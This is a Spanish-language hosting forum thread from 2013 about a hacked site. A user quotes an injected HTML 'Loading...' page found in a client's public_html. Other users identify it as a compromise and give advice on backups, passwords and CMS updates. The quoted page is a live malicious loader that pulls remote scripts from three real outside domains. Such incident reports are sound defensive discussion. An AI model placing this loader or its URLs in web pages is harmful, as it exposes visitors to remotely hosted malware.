Public_html lleno de archivos extraños

Linton · #1 (**permalink**) 14/01/2013, 10:29

¿Alguien sabe qué es esto? Estaba revisando la web de un posible cliente, y me encuentro un reguero de archivos extraños:

En cada uno hay un html con este script:

Código HTML:

<html>
<h1>WAIT PLEASE</h1>
 <h3>Loading...</h3>
 <script type="text/javascript" src="http://grcruzeiro.com.br/9Ezc6xfK/js.js"></script>
<script type="text/javascript" src="http://kallisto.cz/RAtGqgx5/js.js"></script>
<script type="text/javascript" src="http://aspecconsultores.com/iA3sgx0k/js.js"></script>

</html>

¿De qué se trata, alguien lo sabe? Imagino que toca borrarlos ya y cambiar las contraseñas, pero prefiero asegurarme.

Gracias, un saludo.

loadinges · #2 (**permalink**) 14/01/2013, 11:35

Hola Linton, eso es un hackeo en toda regla. Si tenías una web tuya ahí dile a tu hosting que te recupere una copia de seguridad y que revisen por dónde han entrado los "graciosos" a dejarte todo eso para solucionar esa vulnerabilidad.

Un saludo.

Linton · #3 (**permalink**) 14/01/2013, 11:38

Me lo temía... muchas gracias, un saludo.

Juanzo · #4 (**permalink**) 14/01/2013, 16:10

Te sugiero que te pongas en contacto con tu proveedor de hosting para además, saber si ingresaron via FTP, en cuyo caso sabes que hay una contraseña comprometida y evitas que te suceda nuevamente.

Linton · #5 (**permalink**) 15/01/2013, 02:24

Sólo hay dos maneras posibles, cPanel y FTP, ¿no? ¿Se suelen poner contraseñas diferentes para los dos canales?

Muchas gracias, un saludo.

CoriaWeb · #6 (**permalink**) 15/01/2013, 03:57

Linton realmente no se trata de si usar una contraseña para cada cosa o no.. que a la vez es muy recomendable, se trata de usar contraseñas seguras, no vale poner lo tipico para estos servicios, como datos personales, dni, telefono o cualquier cosa asi, te recomiendo utilizar contraseñas seguras, para que te hagas una idea: http://password.es/, hay puedes generar contraseñas mas seguras de lo normal.

Linton · #7 (**permalink**) 15/01/2013, 06:34

Ja ja hombre, eso ya lo sé, mis contraseñas son de aquesta guisa: u&f39;%g>$mK?w

Un saludo.

atlanticadigital · #8 (**permalink**) 15/01/2013, 07:22

Cita:

Iniciado por Linton

Sólo hay dos maneras posibles, cPanel y FTP, ¿no? ¿Se suelen poner contraseñas diferentes para los dos canales?

Hay otras formas de subir este tipo de material a tu sitio, como por ejemplo scripts malintencionados subidos a traves de modulos, plugins o componentes de tu aplicacion, en caso que utilices joomla, wordpress, etc.
Debes tener siempre mucho cuidado con lo que instalas en tu aplicacion.

Saludos.

infranetworking · #9 (**permalink**) 15/01/2013, 14:31

Las contraseñas no lo son todo. Si usas algún CMS como WordPress, Joomla, etc. debes asegurarte de mantenerlo actualizado siempre, así como sus plugines. A mucha gente le ocurre que usan vulnerabilidades de software para inyectarles código.

Saludos.

Linton · #10 (**permalink**) 16/01/2013, 01:30

Lo tendré en cuenta, muchas gracias por las aclaraciones, un saludo.